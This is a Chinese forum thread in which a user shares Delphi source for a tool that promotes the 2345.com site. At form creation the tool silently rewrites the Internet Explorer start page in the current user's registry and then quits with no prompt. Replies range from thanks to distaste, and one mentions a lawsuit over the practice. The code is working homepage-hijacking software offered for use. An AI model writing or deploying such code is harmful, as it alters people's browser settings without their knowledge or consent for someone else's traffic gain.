自己写了个2345网址推广主页设置工具

codebutcher

//Delphi版本：Delphi XE3 With Update2

unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs,Registry;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
   Reg:TRegistry;
begin
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_CURRENT_USER;
    if   Reg.OpenKey('\Software\Microsoft\Internet Explorer\Main',true)   then
    Reg.WriteString('Start Page','http://www.2345.com/?');
    Reg.Free;
    Application.Terminate;
end;

end.

codebutcher

Delphi源代码文件下载地址：
请参见附件文本文档。

sharer

delphi  没落 啦  用的人很少啦

woaililuovip

这个我朋友可以用。

liquanhai

好像2345已经被微软告了一下，得赔偿3600万：http://tech.qq.com/a/20121210/000166.htm

why

虽然这只是一个非常简单的代码，但还是要技持一下。

beiank

非常给力啊 谢谢啦 主页还是那个吧

立华奏

个人比较讨厌这种 设置推广主页的